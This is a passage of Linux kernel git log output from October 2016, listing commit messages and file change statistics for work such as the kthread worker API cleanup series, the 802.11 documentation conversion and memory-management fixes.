drivers/input/touchscreen/melfas_mip4.c | 38 +++++++++++++++++++++++++++++++-- 1 file changed, 36 insertions(+), 2 deletions(-) commit 819bf593767c0966f320c51c6ed3f3835062abc8 Author: Johannes Berg Date: Tue Oct 11 14:56:53 2016 +0200 docs-rst: sphinxify 802.11 documentation This is just a very basic conversion, I've split up the original multi-book template, and also split up the multi-part mac80211 part in the original book; neither of those were handled by the automatic pandoc conversion. Fix errors that showed up, resulting in a much nicer rendering, at least for the interface combinations documentation. Signed-off-by: Johannes Berg Signed-off-by: Jonathan Corbet Documentation/80211/cfg80211.rst | 345 ++++++++++++++++++ Documentation/80211/conf.py | 5 + Documentation/80211/index.rst | 17 + Documentation/80211/introduction.rst | 17 + Documentation/80211/mac80211-advanced.rst | 295 +++++++++++++++ Documentation/80211/mac80211.rst | 216 +++++++++++ Documentation/DocBook/80211.tmpl | 584 ------------------------------ Documentation/DocBook/Makefile | 2 +- Documentation/index.rst | 1 + include/net/cfg80211.h | 77 ++-- 10 files changed, 939 insertions(+), 620 deletions(-) commit 9c5d760b8d229b94c5030863a5edaee5f1a9d7b7 Author: Michal Hocko Date: Tue Oct 11 13:56:04 2016 -0700 mm: split gfp_mask and mapping flags into separate fields mapping->flags currently encodes two different things into a single flag. It contains sticky gfp_mask for page cache allocations and AS_ codes used to report errors/enospace and other states which are mapping specific. Condensing the two semantically unrelated things saves few bytes but it also complicates other things. For one thing the gfp flags space is reduced and in fact we are already running out of available bits. It can be assumed that more gfp flags will be necessary later on. To not introduce the address_space grow (at least on x86_64) we can stick it right after private_lock because we have a hole there. struct address_space { struct inode * host; /* 0 8 */ struct radix_tree_root page_tree; /* 8 16 */ spinlock_t tree_lock; /* 24 4 */ atomic_t i_mmap_writable; /* 28 4 */ struct rb_root i_mmap; /* 32 8 */ struct rw_semaphore i_mmap_rwsem; /* 40 40 */ /* --- cacheline 1 boundary (64 bytes) was 16 bytes ago --- */ long unsigned int nrpages; /* 80 8 */ long unsigned int nrexceptional; /* 88 8 */ long unsigned int writeback_index; /* 96 8 */ const struct address_space_operations * a_ops; /* 104 8 */ long unsigned int flags; /* 112 8 */ spinlock_t private_lock; /* 120 4 */ /* XXX 4 bytes hole, try to pack */ /* --- cacheline 2 boundary (128 bytes) --- */ struct list_head private_list; /* 128 16 */ void * private_data; /* 144 8 */ /* size: 152, cachelines: 3, members: 14 */ /* sum members: 148, holes: 1, sum holes: 4 */ /* last cacheline: 24 bytes */ }; Link: http://lkml.kernel.org/r/20160912114852.GI14524@dhcp22.suse.cz Signed-off-by: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/fs.h | 3 ++- include/linux/pagemap.h | 20 +++++++++----------- 2 files changed, 11 insertions(+), 12 deletions(-) commit 5114a97a8bce7f4ead29a32b67dee85438699b9e Author: Michal Hocko Date: Tue Oct 11 13:56:01 2016 -0700 fs: use mapping_set_error instead of opencoded set_bit The mapping_set_error() helper sets the correct AS_ flag for the mapping so there is no reason to open code it. Use the helper directly. [akpm@linux-foundation.org: be honest about conversion from -ENXIO to -EIO] Link: http://lkml.kernel.org/r/20160912111608.2588-2-mhocko@kernel.org Signed-off-by: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/staging/lustre/lustre/llite/vvp_page.c | 5 +---- fs/afs/write.c | 5 ++--- fs/buffer.c | 4 ++-- fs/exofs/inode.c | 2 +- fs/ext4/page-io.c | 2 +- fs/f2fs/data.c | 2 +- fs/jbd2/commit.c | 3 +-- 7 files changed, 9 insertions(+), 14 deletions(-) commit 97139d4a6f26445de47b378cddd5192c0278f863 Author: Masahiro Yamada Date: Tue Oct 11 13:55:58 2016 -0700 treewide: remove redundant #include Kernel source files need not include explicitly because the top Makefile forces to include it with: -include $(srctree)/include/linux/kconfig.h This commit removes explicit includes except the following: * arch/s390/include/asm/facilities_src.h * tools/testing/radix-tree/linux/kernel.h These two are used for host programs. Link: http://lkml.kernel.org/r/1473656164-11929-1-git-send-email-yamada.masahiro@socionext.com Signed-off-by: Masahiro Yamada Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/arm/include/asm/trusted_foundations.h | 1 - arch/arm64/include/asm/alternative.h | 1 - arch/mips/include/asm/mach-loongson64/loongson.h | 1 - arch/mips/math-emu/cp1emu.c | 1 - arch/mips/net/bpf_jit.c | 1 - drivers/char/virtio_console.c | 1 - drivers/input/rmi4/rmi_bus.c | 1 - drivers/input/rmi4/rmi_driver.c | 1 - drivers/input/rmi4/rmi_f01.c | 1 - drivers/input/rmi4/rmi_f11.c | 1 - drivers/irqchip/irq-bcm6345-l1.c | 1 - drivers/irqchip/irq-bcm7038-l1.c | 1 - drivers/irqchip/irq-bcm7120-l2.c | 1 - drivers/irqchip/irq-brcmstb-l2.c | 1 - drivers/media/dvb-frontends/af9013.h | 1 - drivers/media/dvb-frontends/af9033.h | 2 -- drivers/media/dvb-frontends/ascot2e.h | 1 - drivers/media/dvb-frontends/atbm8830.h | 1 - drivers/media/dvb-frontends/au8522.h | 1 - drivers/media/dvb-frontends/cx22702.h | 1 - drivers/media/dvb-frontends/cx24113.h | 2 -- drivers/media/dvb-frontends/cx24116.h | 1 - drivers/media/dvb-frontends/cx24117.h | 1 - drivers/media/dvb-frontends/cx24120.h | 1 - drivers/media/dvb-frontends/cx24123.h | 1 - drivers/media/dvb-frontends/cxd2820r.h | 1 - drivers/media/dvb-frontends/cxd2841er.h | 1 - drivers/media/dvb-frontends/dib3000mc.h | 2 -- drivers/media/dvb-frontends/dib7000m.h | 2 -- drivers/media/dvb-frontends/dib7000p.h | 2 -- drivers/media/dvb-frontends/drxd.h | 1 - drivers/media/dvb-frontends/drxk.h | 1 - drivers/media/dvb-frontends/ds3000.h | 1 - drivers/media/dvb-frontends/dvb_dummy_fe.h | 1 - drivers/media/dvb-frontends/ec100.h | 1 - drivers/media/dvb-frontends/hd29l2.h | 1 - drivers/media/dvb-frontends/helene.h | 1 - drivers/media/dvb-frontends/horus3a.h | 1 - drivers/media/dvb-frontends/ix2505v.h | 1 - drivers/media/dvb-frontends/lg2160.h | 1 - drivers/media/dvb-frontends/lgdt3305.h | 1 - drivers/media/dvb-frontends/lgs8gl5.h | 1 - drivers/media/dvb-frontends/lgs8gxx.h | 1 - drivers/media/dvb-frontends/lnbh24.h | 2 -- drivers/media/dvb-frontends/lnbh25.h | 1 - drivers/media/dvb-frontends/lnbp21.h | 2 -- drivers/media/dvb-frontends/lnbp22.h | 2 -- drivers/media/dvb-frontends/m88rs2000.h | 1 - drivers/media/dvb-frontends/mb86a20s.h | 1 - drivers/media/dvb-frontends/s5h1409.h | 1 - drivers/media/dvb-frontends/s5h1411.h | 1 - drivers/media/dvb-frontends/s5h1432.h | 1 - drivers/media/dvb-frontends/s921.h | 1 - drivers/media/dvb-frontends/si21xx.h | 1 - drivers/media/dvb-frontends/sp2.h | 1 - drivers/media/dvb-frontends/stb6000.h | 1 - drivers/media/dvb-frontends/stv0288.h | 1 - drivers/media/dvb-frontends/stv0367.h | 1 - drivers/media/dvb-frontends/stv0900.h | 1 - drivers/media/dvb-frontends/stv6110.h | 1 - drivers/media/dvb-frontends/tda10048.h | 1 - drivers/media/dvb-frontends/tda18271c2dd.h | 2 -- drivers/media/dvb-frontends/ts2020.h | 1 - drivers/media/dvb-frontends/zl10036.h | 1 - drivers/media/dvb-frontends/zl10039.h | 2 -- drivers/media/pci/cx23885/altera-ci.h | 2 -- drivers/media/tuners/fc0011.h | 1 - drivers/media/tuners/fc0012.h | 1 - drivers/media/tuners/fc0013.h | 1 - drivers/media/tuners/max2165.h | 2 -- drivers/media/tuners/mc44s803.h | 2 -- drivers/media/tuners/mxl5005s.h | 2 -- drivers/media/tuners/r820t.h | 1 - drivers/media/tuners/si2157.h | 1 - drivers/media/tuners/tda18212.h | 1 - drivers/media/tuners/tda18218.h | 1 - drivers/media/tuners/xc5000.h | 1 - drivers/media/usb/dvb-usb-v2/mxl111sf-demod.h | 1 - drivers/media/usb/dvb-usb-v2/mxl111sf-tuner.h | 1 - drivers/media/usb/dvb-usb/dibusb-common.c | 1 - drivers/media/usb/hdpvr/hdpvr-video.c | 1 - drivers/mtd/mtdcore.c | 1 - drivers/mtd/mtdpart.c | 1 - drivers/net/dsa/b53/b53_mmap.c | 1 - drivers/net/ethernet/sun/ldmvsw.c | 1 - drivers/net/ethernet/wiznet/w5100.c | 1 - drivers/net/ethernet/wiznet/w5300.c | 1 - drivers/usb/early/ehci-dbgp.c | 1 - drivers/usb/gadget/udc/bcm63xx_udc.c | 1 - drivers/usb/host/pci-quirks.c | 1 - fs/lockd/procfs.h | 2 -- include/linux/export.h | 1 - include/linux/gpio/driver.h | 1 - net/batman-adv/debugfs.h | 2 -- sound/soc/intel/common/sst-acpi.h | 1 - tools/testing/nvdimm/config_check.c | 1 - 96 files changed, 112 deletions(-) commit 48a6d64edadbd40fa5185a890023e9b331d64a48 Author: John Siddle Date: Tue Oct 11 13:55:56 2016 -0700 hung_task: allow hung_task_panic when hung_task_warnings is 0 Previously hung_task_panic would not be respected if enabled after hung_task_warnings had already been decremented to 0. Permit the kernel to panic if hung_task_panic is enabled after hung_task_warnings has already been decremented to 0 and another task hangs for hung_task_timeout_secs seconds. Check if hung_task_panic is enabled so we don't return prematurely, and check if hung_task_warnings is non-zero so we don't print the warning unnecessarily. [akpm@linux-foundation.org: fix off-by-one] Link: http://lkml.kernel.org/r/1473450214-4049-1-git-send-email-jsiddle@redhat.com Signed-off-by: John Siddle Cc: Tetsuo Handa Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/hung_task.c | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) commit e154ccc831b5b52a9aa3fe881090bdaf1d80f062 Author: Jonathan Corbet Date: Tue Oct 11 13:55:53 2016 -0700 kthread: add kerneldoc for kthread_create() This macro is referenced in other kerneldoc comments, but lacks one of its own; fix that. Link: http://lkml.kernel.org/r/20160826072313.726a3485@lwn.net Signed-off-by: Jonathan Corbet Reported-by: Mauro Carvalho Chehab Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/kthread.h | 11 +++++++++++ 1 file changed, 11 insertions(+) commit dbf52682cb02863d22b15e3742988c7c6e3f1710 Author: Petr Mladek Date: Tue Oct 11 13:55:50 2016 -0700 kthread: better support freezable kthread workers This patch allows to make kthread worker freezable via a new @flags parameter. It will allow to avoid an init work in some kthreads. It currently does not affect the function of kthread_worker_fn() but it might help to do some optimization or fixes eventually. I currently do not know about any other use for the @flags parameter but I believe that we will want more flags in the future. Finally, I hope that it will not cause confusion with @flags member in struct kthread. Well, I guess that we will want to rework the basic kthreads implementation once all kthreads are converted into kthread workers or workqueues. It is possible that we will merge the two structures. Link: http://lkml.kernel.org/r/1470754545-17632-12-git-send-email-pmladek@suse.com Signed-off-by: Petr Mladek Acked-by: Tejun Heo Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Thomas Gleixner Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/kthread.h | 12 +++++++++--- kernel/kthread.c | 21 +++++++++++++++------ 2 files changed, 24 insertions(+), 9 deletions(-) commit 9a6b06c8d9a220860468aadb2f1c726570813bf9 Author: Petr Mladek Date: Tue Oct 11 13:55:46 2016 -0700 kthread: allow to modify delayed kthread work There are situations when we need to modify the delay of a delayed kthread work. For example, when the work depends on an event and the initial delay means a timeout. Then we want to queue the work immediately when the event happens. This patch implements kthread_mod_delayed_work() as inspired workqueues. It cancels the timer, removes the work from any worker list and queues it again with the given timeout. A very special case is when the work is being canceled at the same time. It might happen because of the regular kthread_cancel_delayed_work_sync() or by another kthread_mod_delayed_work(). In this case, we do nothing and let the other operation win. This should not normally happen as the caller is supposed to synchronize these operations a reasonable way. Link: http://lkml.kernel.org/r/1470754545-17632-11-git-send-email-pmladek@suse.com Signed-off-by: Petr Mladek Acked-by: Tejun Heo Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Thomas Gleixner Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/kthread.h | 4 ++++ kernel/kthread.c | 53 +++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 57 insertions(+) commit 37be45d49dec2a411e29d50c9597cfe8184b5645 Author: Petr Mladek Date: Tue Oct 11 13:55:43 2016 -0700 kthread: allow to cancel kthread work We are going to use kthread workers more widely and sometimes we will need to make sure that the work is neither pending nor running. This patch implements cancel_*_sync() operations as inspired by workqueues. Well, we are synchronized against the other operations via the worker lock, we use del_timer_sync() and a counter to count parallel cancel operations. Therefore the implementation might be easier. First, we check if a worker is assigned. If not, the work has newer been queued after it was initialized. Second, we take the worker lock. It must be the right one. The work must not be assigned to another worker unless it is initialized in between. Third, we try to cancel the timer when it exists. The timer is deleted synchronously to make sure that the timer call back is not running. We need to temporary release the worker->lock to avoid a possible deadlock with the callback. In the meantime, we set work->canceling counter to avoid any queuing. Fourth, we try to remove the work from a worker list. It might be the list of either normal or delayed works. Fifth, if the work is running, we call kthread_flush_work(). It might take an arbitrary time. We need to release the worker-lock again. In the meantime, we again block any queuing by the canceling counter. As already mentioned, the check for a pending kthread work is done under a lock. In compare with workqueues, we do not need to fight for a single PENDING bit to block other operations. Therefore we do not suffer from the thundering storm problem and all parallel canceling jobs might use kthread_flush_work(). Any queuing is blocked until the counter gets zero. Link: http://lkml.kernel.org/r/1470754545-17632-10-git-send-email-pmladek@suse.com Signed-off-by: Petr Mladek Acked-by: Tejun Heo Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Thomas Gleixner Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/kthread.h | 5 ++ kernel/kthread.c | 132 +++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 135 insertions(+), 2 deletions(-) commit 22597dc3d97b1ead2aca201397415a1a84bf2b26 Author: Petr Mladek Date: Tue Oct 11 13:55:40 2016 -0700 kthread: initial support for delayed kthread work We are going to use kthread_worker more widely and delayed works will be pretty useful. The implementation is inspired by workqueues. It uses a timer to queue the work after the requested delay. If the delay is zero, the work is queued immediately. In compare with workqueues, each work is associated with a single worker (kthread). Therefore the implementation could be much easier. In particular, we use the worker->lock to synchronize all the operations with the work. We do not need any atomic operation with a flags variable. In fact, we do not need any state variable at all. Instead, we add a list of delayed works into the worker. Then the pending work is listed either in the list of queued or delayed works. And the existing check of pending works is the same even for the delayed ones. A work must not be assigned to another worker unless reinitialized. Therefore the timer handler might expect that dwork->work->worker is valid and it could simply take the lock. We just add some sanity checks to help with debugging a potential misuse. Link: http://lkml.kernel.org/r/1470754545-17632-9-git-send-email-pmladek@suse.com Signed-off-by: Petr Mladek Acked-by: Tejun Heo Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Thomas Gleixner Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/kthread.h | 33 ++++++++++++++++ kernel/kthread.c | 102 ++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 135 insertions(+) commit 8197b3d43b250b8214b9913878e9227eef8bd85f Author: Petr Mladek Date: Tue Oct 11 13:55:36 2016 -0700 kthread: detect when a kthread work is used by more workers Nothing currently prevents a work from queuing for a kthread worker when it is already running on another one. This means that the work might run in parallel on more than one worker. Also some operations are not reliable, e.g. flush. This problem will be even more visible after we add kthread_cancel_work() function. It will only have "work" as the parameter and will use worker->lock to synchronize with others. Well, normally this is not a problem because the API users are sane. But bugs might happen and users also might be crazy. This patch adds a warning when we try to insert the work for another worker. It does not fully prevent the misuse because it would make the code much more complicated without a big benefit. It adds the same warning also into kthread_flush_work() instead of the repeated attempts to get the right lock. A side effect is that one needs to explicitly reinitialize the work if it must be queued into another worker. This is needed, for example, when the worker is stopped and started again. It is a bit inconvenient. But it looks like a good compromise between the stability and complexity. I have double checked all existing users of the kthread worker API and they all seems to initialize the work after the worker gets started. Just for completeness, the patch adds a check that the work is not already in a queue. The patch also puts all the checks into a separate function. It will be reused when implementing delayed works. Link: http://lkml.kernel.org/r/1470754545-17632-8-git-send-email-pmladek@suse.com Signed-off-by: Petr Mladek Cc: Oleg Nesterov Cc: Tejun Heo Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Thomas Gleixner Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/kthread.c | 28 ++++++++++++++++++++-------- 1 file changed, 20 insertions(+), 8 deletions(-) commit 35033fe9cbbf18415dfeb7e27f0d4228dfc7458a Author: Petr Mladek Date: Tue Oct 11 13:55:33 2016 -0700 kthread: add kthread_destroy_worker() The current kthread worker users call flush() and stop() explicitly. This function does the same plus it frees the kthread_worker struct in one call. It is supposed to be used together with kthread_create_worker*() that allocates struct kthread_worker. Link: http://lkml.kernel.org/r/1470754545-17632-7-git-send-email-pmladek@suse.com Signed-off-by: Petr Mladek Cc: Oleg Nesterov Cc: Tejun Heo Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Thomas Gleixner Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/kthread.h | 2 ++ kernel/kthread.c | 23 +++++++++++++++++++++++ 2 files changed, 25 insertions(+) commit fbae2d44aa1df72d0154be77eb4d71e1e34c0f8f Author: Petr Mladek Date: Tue Oct 11 13:55:30 2016 -0700 kthread: add kthread_create_worker*() Kthread workers are currently created using the classic kthread API, namely kthread_run(). kthread_worker_fn() is passed as the @threadfn parameter. This patch defines kthread_create_worker() and kthread_create_worker_on_cpu() functions that hide implementation details. They enforce using kthread_worker_fn() for the main thread. But I doubt that there are any plans to create any alternative. In fact, I think that we do not want any alternative main thread because it would be hard to support consistency with the rest of the kthread worker API. The naming and function of kthread_create_worker() is inspired by the workqueues API like the rest of the kthread worker API. The kthread_create_worker_on_cpu() variant is motivated by the original kthread_create_on_cpu(). Note that we need to bind per-CPU kthread workers already when they are created. It makes the life easier. kthread_bind() could not be used later for an already running worker. This patch does _not_ convert existing kthread workers. The kthread worker API need more improvements first, e.g. a function to destroy the worker. IMPORTANT: kthread_create_worker_on_cpu() allows to use any format of the worker name, in compare with kthread_create_on_cpu(). The good thing is that it is more generic. The bad thing is that most users will need to pass the cpu number in two parameters, e.g. kthread_create_worker_on_cpu(cpu, "helper/%d", cpu). To be honest, the main motivation was to avoid the need for an empty va_list. The only legal way was to create a helper function that would be called with an empty list. Other attempts caused compilation warnings or even errors on different architectures. There were also other alternatives, for example, using #define or splitting __kthread_create_worker(). The used solution looked like the least ugly. Link: http://lkml.kernel.org/r/1470754545-17632-6-git-send-email-pmladek@suse.com Signed-off-by: Petr Mladek Acked-by: Tejun Heo Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Thomas Gleixner Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/kthread.h | 7 +++ kernel/kthread.c | 113 +++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 110 insertions(+), 10 deletions(-) commit 255451e45345bcd19e79f25e9afc0b9e14ccb104 Author: Petr Mladek Date: Tue Oct 11 13:55:27 2016 -0700 kthread: allow to call __kthread_create_on_node() with va_list args kthread_create_on_node() implements a bunch of logic to create the kthread. It is already called by kthread_create_on_cpu(). We are going to extend the kthread worker API and will need to call kthread_create_on_node() with va_list args there. This patch does only a refactoring and does not modify the existing behavior. Link: http://lkml.kernel.org/r/1470754545-17632-5-git-send-email-pmladek@suse.com Signed-off-by: Petr Mladek Acked-by: Tejun Heo Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Thomas Gleixner Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/kthread.c | 72 +++++++++++++++++++++++++++++++++----------------------- 1 file changed, 42 insertions(+), 30 deletions(-) commit a65d40961dc70d15dec046c2ee88c556f57940b2 Author: Petr Mladek Date: Tue Oct 11 13:55:23 2016 -0700 kthread/smpboot: do not park in kthread_create_on_cpu() kthread_create_on_cpu() was added by the commit 2a1d446019f9a5983e ("kthread: Implement park/unpark facility"). It is currently used only when enabling new CPU. For this purpose, the newly created kthread has to be parked. The CPU binding is a bit tricky. The kthread is parked when the CPU has not been allowed yet. And the CPU is bound when the kthread is unparked. The function would be useful for more per-CPU kthreads, e.g. bnx2fc_thread, fcoethread. For this purpose, the newly created kthread should stay in the uninterruptible state. This patch moves the parking into smpboot. It binds the thread already when created. Then the function might be used universally. Also the behavior is consistent with kthread_create() and kthread_create_on_node(). Link: http://lkml.kernel.org/r/1470754545-17632-4-git-send-email-pmladek@suse.com Signed-off-by: Petr Mladek Reviewed-by: Thomas Gleixner Cc: Oleg Nesterov Cc: Tejun Heo Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds kernel/kthread.c | 8 ++++++-- kernel/smpboot.c | 5 +++++ 2 files changed, 11 insertions(+), 2 deletions(-) commit 3989144f863ac576e6efba298d24b0b02a10d4bb Author: Petr Mladek Date: Tue Oct 11 13:55:20 2016 -0700 kthread: kthread worker API cleanup A good practice is to prefix the names of functions by the name of the subsystem. The kthread worker API is a mix of classic kthreads and workqueues. Each worker has a dedicated kthread. It runs a generic function that process queued works. It is implemented as part of the kthread subsystem. This patch renames the existing kthread worker API to use the corresponding name from the workqueues API prefixed by kthread_: __init_kthread_worker() -> __kthread_init_worker() init_kthread_worker() -> kthread_init_worker() init_kthread_work() -> kthread_init_work() insert_kthread_work() -> kthread_insert_work() queue_kthread_work() -> kthread_queue_work() flush_kthread_work() -> kthread_flush_work() flush_kthread_worker() -> kthread_flush_worker() Note that the names of DEFINE_KTHREAD_WORK*() macros stay as they are. It is common that the "DEFINE_" prefix has precedence over the subsystem names. Note that INIT() macros and init() functions use different naming scheme. There is no good solution. There are several reasons for this solution: + "init" in the function names stands for the verb "initialize" aka "initialize worker". While "INIT" in the macro names stands for the noun "INITIALIZER" aka "worker initializer". + INIT() macros are used only in DEFINE() macros + init() functions are used close to the other kthread() functions. It looks much better if all the functions use the same scheme. + There will be also kthread_destroy_worker() that will be used close to kthread_cancel_work(). It is related to the init() function. Again it looks better if all functions use the same naming scheme. + there are several precedents for such init() function names, e.g. amd_iommu_init_device(), free_area_init_node(), jump_label_init_type(), regmap_init_mmio_clk(), + It is not an argument but it was inconsistent even before. [arnd@arndb.de: fix linux-next merge conflict] Link: http://lkml.kernel.org/r/20160908135724.1311726-1-arnd@arndb.de Link: http://lkml.kernel.org/r/1470754545-17632-3-git-send-email-pmladek@suse.com Suggested-by: Andrew Morton Signed-off-by: Petr Mladek Cc: Oleg Nesterov Cc: Tejun Heo Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Thomas Gleixner Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Arnd Bergmann Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Documentation/RCU/lockdep-splat.txt | 2 +- arch/x86/kvm/i8254.c | 14 ++++++------ crypto/crypto_engine.c | 20 ++++++++--------- drivers/block/loop.c | 8 +++---- drivers/infiniband/sw/rdmavt/cq.c | 10 ++++----- drivers/md/dm-rq.c | 6 +++--- drivers/md/dm.c | 4 ++-- drivers/media/pci/ivtv/ivtv-driver.c | 6 +++--- drivers/media/pci/ivtv/ivtv-irq.c | 2 +- drivers/net/ethernet/microchip/encx24j600.c | 10 ++++----- drivers/spi/spi.c | 18 ++++++++-------- drivers/tty/serial/sc16is7xx.c | 22 +++++++++---------- include/linux/kthread.h | 18 ++++++++-------- kernel/kthread.c | 33 +++++++++++++++-------------- sound/soc/intel/baytrail/sst-baytrail-ipc.c | 2 +- sound/soc/intel/common/sst-ipc.c | 6 +++--- sound/soc/intel/haswell/sst-haswell-ipc.c | 2 +- sound/soc/intel/skylake/skl-sst-ipc.c | 2 +- 18 files changed, 93 insertions(+), 92 deletions(-) commit e700591ae03896c16974d4e1ab58eb296aaa5f59 Author: Petr Mladek Date: Tue Oct 11 13:55:17 2016 -0700 kthread: rename probe_kthread_data() to kthread_probe_data() Patch series "kthread: Kthread worker API improvements" The intention of this patchset is to make it easier to manipulate and maintain kthreads. Especially, I want to replace all the custom main cycles with a generic one. Also I want to make the kthreads sleep in a consistent state in a common place when there is no work. This patch (of 11): A good practice is to prefix the names of functions by the name of the subsystem. This patch fixes the name of probe_kthread_data(). The other wrong functions names are part of the kthread worker API and will be fixed separately. Link: http://lkml.kernel.org/r/1470754545-17632-2-git-send-email-pmladek@suse.com Signed-off-by: Petr Mladek Suggested-by: Andrew Morton Acked-by: Tejun Heo Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Peter Zijlstra Cc: Steven Rostedt Cc: "Paul E. McKenney" Cc: Josh Triplett Cc: Thomas Gleixner Cc: Jiri Kosina Cc: Borislav Petkov Cc: Michal Hocko Cc: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/kthread.h | 2 +- kernel/kthread.c | 4 ++-- kernel/workqueue.c | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit d0c75f33f065bf58833c43ac7b5ccfcb60131510 Author: Mathieu Maret Date: Tue Oct 11 13:55:14 2016 -0700 scripts/tags.sh: enable code completion in VIM Vim, with the omnicppcomplete(#1) plugin, can do code completion using information build by ctags. Add flags needed by omnicppcomplete(#2) to have completion on member of structure. 1: https://github.com/vim-scripts/omnicppcomplete 2: https://github.com/vim-scripts/OmniCppComplete/blob/master/doc/omnicppcomplete.txt#L93 Link: http://lkml.kernel.org/r/20160830191546.4469-1-mathieu.maret@gmail.com Signed-off-by: Mathieu Maret Cc: Michal Marek Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds scripts/tags.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9099daed9c6991a512c1f74b92ec49daf9408cda Author: Catalin Marinas Date: Tue Oct 11 13:55:11 2016 -0700 mm: kmemleak: avoid using __va() on addresses that don't have a lowmem mapping Some of the kmemleak_*() callbacks in memblock, bootmem, CMA convert a physical address to a virtual one using __va(). However, such physical addresses may sometimes be located in highmem and using __va() is incorrect, leading to inconsistent object tracking in kmemleak. The following functions have been added to the kmemleak API and they take a physical address as the object pointer. They only perform the corresponding action if the address has a lowmem mapping: kmemleak_alloc_phys kmemleak_free_part_phys kmemleak_not_leak_phys kmemleak_ignore_phys The affected calling places have been updated to use the new kmemleak API. Link: http://lkml.kernel.org/r/1471531432-16503-1-git-send-email-catalin.marinas@arm.com Signed-off-by: Catalin Marinas Reported-by: Vignesh R Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Documentation/dev-tools/kmemleak.rst | 9 +++++++ include/linux/kmemleak.h | 18 ++++++++++++++ mm/bootmem.c | 6 ++--- mm/cma.c | 2 +- mm/kmemleak.c | 47 ++++++++++++++++++++++++++++++++++++ mm/memblock.c | 8 +++--- mm/nobootmem.c | 2 +- 7 files changed, 83 insertions(+), 9 deletions(-) commit 0549a3c02efb350776bc869685a361045efd3a29 Author: Thomas Garnier Date: Tue Oct 11 13:55:08 2016 -0700 kdump, vmcoreinfo: report memory sections virtual addresses KASLR memory randomization can randomize the base of the physical memory mapping (PAGE_OFFSET), vmalloc (VMALLOC_START) and vmemmap (VMEMMAP_START). Adding these variables on VMCOREINFO so tools can easily identify the base of each memory section. Link: http://lkml.kernel.org/r/1471531632-23003-1-git-send-email-thgarnie@google.com Signed-off-by: Thomas Garnier Acked-by: Baoquan He Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H . Peter Anvin" Cc: Eric Biederman Cc: Xunlei Pang Cc: HATAYAMA Daisuke Cc: Kees Cook Cc: Eugene Surovegin Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/x86/kernel/machine_kexec_64.c | 3 +++ include/linux/kexec.h | 6 ++++++ 2 files changed, 9 insertions(+) commit 2a1613a586de91457fa93c3e468a6e2438fe52a0 Author: Nikolay Borisov Date: Tue Oct 11 13:55:05 2016 -0700 ipc/sem.c: add cond_resched in exit_sme In CONFIG_PREEMPT=n kernel a softlockup was observed while the for loop in exit_sem. Apparently it's possible for the loop to take quite a 